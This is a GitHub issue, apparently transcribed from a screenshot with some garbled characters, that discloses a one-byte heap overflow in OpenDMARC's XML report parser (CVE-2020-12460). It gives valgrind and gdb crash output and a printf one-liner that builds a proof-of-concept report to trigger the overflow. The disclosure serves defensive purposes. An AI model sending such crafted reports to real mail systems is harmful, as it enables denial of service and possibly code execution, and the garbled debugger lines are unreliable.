Jump to bottom New issue

## Memory corruption in opendmarc\_xml() #64



⊙ Closed ) pjlantz opened this issue on Jul 25, 2020 · 5 comments

Assignees



Labels

bug CVE-security-issue

pilantz commented on Jul 25, 2020 • edited -

There is a memory corruption vulnerability in opendmarc\_xm1() of libopendmarc during parsing of DMARC aggregate reports. The versions affected by this seem to be OpenDMARC through 1.3.2

The root cause is improper null termination. The function opendmarc xml parse() does not explicitly add a null terminator ('\0') to the buffer holding the XML data after reading the contents from a report file. This can cause an off-by-one error in opendmarc\_xml() in certain cases depending on the report file, resulting in a one-byte heap overflow

A null byte write occurs during the parsing at opendmarc\_xml.c:171, \*sp = '\8' . Eventually, during parsing of a specially crafted report, this null byte will overflow to the next chunk on the heap, overwriting the heap metadata, as indicated by the following valgrind output.

```
==4014== Invalid write of size 1
          at 0x401223: opendmarc_xml (opendmarc_xml.c:171)
==4014==
          by 0x4020DC: opendmarc xml parse (opendmarc xml.c:614)
           by 0x400D23: main (in /home/peppe/Downloads/test)
==4014== Address 0x5204478 is 0 bytes after a block of size 1,080 alloc'd
==4014==
          at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==4014==
           by 0x402070: opendmarc xml parse (opendmarc xml.c:575)
==4014==
          by 0x400D23: main (in /home/peppe/Downloads/test)
```

The size field and the least significant bits used as flags are overwritten in the metadata. The relevant flag for this vulnerability is the bit indicating 'previous chunk in use', known as PREV\_INUSE which will be set to zero and determines if the previous chunk (storing bufp) is free. When the buffer is later free'd at opendmarc xml.c:616, (void) free(bufp) - a crash occurs as bufp is listed as not used.

```
(gdb) run poc.xml
Starting program: /home/peppe/Downloads/test poc.xml
*** Error in `/home/peppe/Downloads/test': double free or corruption (!prev): 0x0000000000005010 ***
Program received signal SIGABRT, Aborted.
0x00007ffff7a42428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
           ../sysdeps/unix/sysv/linux/raise.c: No such file or directory
#0 0x00007ffff7a42428 in _GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54    #1 0x00007ffff7a4402a in _GI_abort () at abort.c:89
#1 0x00007ffff7a8dYaa in _libc_mssage (do_abort@o_abort@entry=2, fmt-fmt@entry=0x7ffff7b9ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff7a8d37a in malloc_printerr (ar_ptr<optimized out>, ptr<optimized out>, str=0x7ffff7b9e008 "double free or corruption (!prev)", action=3) at malloc.c:5006
#4 _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867
#5 0x00007ffff7a9153c in _GI__libc_free (mem=<optimized out>) at malloc.c:2968
#6 0x0000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7ffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
#7 0x000000000000400d24 in main ()
(gdb) frame 6
#6 0x0000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7ffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
                    (void) free(bufp);
(gdb) p bufp
$1 = 0x605010 "<feedback"
(gdb)
```

A remote attacker could provide a specially crafted report that is parsed by this library, causing a denial of service. It could possibly lead to code execution depending on how libopendmarc is used and integrated into the application, in particular if the opendmarc\_xml function is used explicitly without calling opendmarc\_xml\_parse and with input that is not null-terminated.

A DMARC aggregate report that triggers this vulnerability can be generated using the following commands:

```
printf '<feedback></feedback>' > poc.xml; printf 'A%.0s' {1..1053} >> poc.xml; printf '<begin' >> poc.xml
```

8 martinbogo assigned AntiFreeze, martinbogo and mskucherawy on Jul 25, 2020

martinbogo added bug security-issue labels on Jul 25, 2020

martinbogo commented on Jul 25, 2020

Contributor

Thank you for the vuln report! I'll push "pause" on the release I'm working on and check this bug. @mskucherawy will as well.

carnil commented on Jul 28, 2020

This issue appears to have been assigned CVE-2020-12460.

